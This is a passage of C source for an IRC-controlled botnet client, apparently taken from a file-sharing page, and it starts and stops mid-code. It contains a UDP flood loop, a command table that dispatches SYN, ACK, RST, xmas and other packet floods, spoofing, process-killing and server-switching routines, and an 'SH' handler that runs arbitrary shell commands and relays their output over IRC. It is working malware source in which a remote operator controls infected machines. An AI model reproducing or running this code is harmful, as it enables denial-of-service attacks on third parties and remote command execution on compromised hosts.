You are on page 1of 1

in.

sin_port = rand(); if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0); else


{ flag=1; ioctl(fd,FIONBIO,&flag); sendto(fd,buf,9216,0,(struct
sockaddr*)&in,sizeof(in)); close(fd); } if (i >= 50) { if (time(NULL) >=
start+secs) break; i=0; } i++; } close(fd); exit(0);}void move(int sock, char
*sender, int argc, char **argv) { if (argc < 1) { Send(sock,"NOTICE %s :MOVE
<server>\n",sender); exit(1); } server=strdup(argv[1]); changeservers=1;
close(sock);}void killall(int sock, char *sender, int argc, char **argv) { unsigned
long i; for (i=0;i<numpids;i++) { if (pids[i] != 0 && pids[i] != getpid()) { if
(sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]); kill(pids[i],9);
} }}void killd(int sock, char *sender, int argc, char **argv) { if (!disable)
kill(0,9); else Send(sock,"NOTICE %s :Unable to comply.\n");}struct FMessages
{ char *cmd; void (* func)(int,char *,int,char **); } flooders[] ={ { "UDP", udp },
{ "SYN", syn }, { "NSSYN", nssyn }, { "FIN", fin }, { "PSH", psh }, { "ACK", ack },
{ "NSACK", nsack }, { "URG", urg }, { "RST", rst }, { "CWR", cwr }, { "ECE", ece },
{ "SEW", sew }, { "xmas", xmas }, { "UNKNOWN", unknown }, { "NICK", nickc },
{ "SERVER", move }, { "GETSPOOFS", getspoofs },
{ "SPOOFS", spoof }, { "DISABLE", disable }, { "ENABLE", enable }, { "KILL", killd
}, { "GET", get }, { "VERSION", version }, { "KILLALL", killall },{ (char *)0,
(void (*)(int,char *,int,char **))0 } };void _PRIVMSG(int sock, char *sender, char
*str) { int i; char *to, *message; for (i=0;i<strlen(str) && str[i] != ' ';i++);
str[i]=0; to=str; message=str+i+2; for (i=0;i<strlen(sender) && sender[i] != '!';i+
+); sender[i]=0; if (*message == '!' && !strcasecmp(to,chan)) { char *params[12],
name[1024]={0}; int num_params=0, m; message++; for (i=0;i<strlen(message) &&
message[i] != ' ';i++); message[i]=0; if (strwildmatch(message,nick)) return;
message+=i+1; if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s
:Unable to comply.\n",sender); else Send(sock,"%s\n",message+4); if (!
strncmp(message,"SH ",3)) { char buf[1024]; FILE *command; if (mfork(sender) != 0)
return; memset(buf,0,1024); sprintf(buf,"export
PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
command=popen(buf,"r"); while(!feof(command)) { memset(buf,0,1024);
fgets(buf,1024,command); Send(sock,"NOTICE %s :%s\n",sender,buf); sleep(1); }
pclose(command); exit(0); } m=strlen(message); for (i=0;i<m;i++) { if (*message ==
' ' || *message == 0) break; name[i]=*message; message++; } for
(i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++; num_params++; if
(num_params > 10) num_params=10; params[0]=name; params[num_params+1]="\0"; m=1;
while (*message != 0) { message++;

You might also like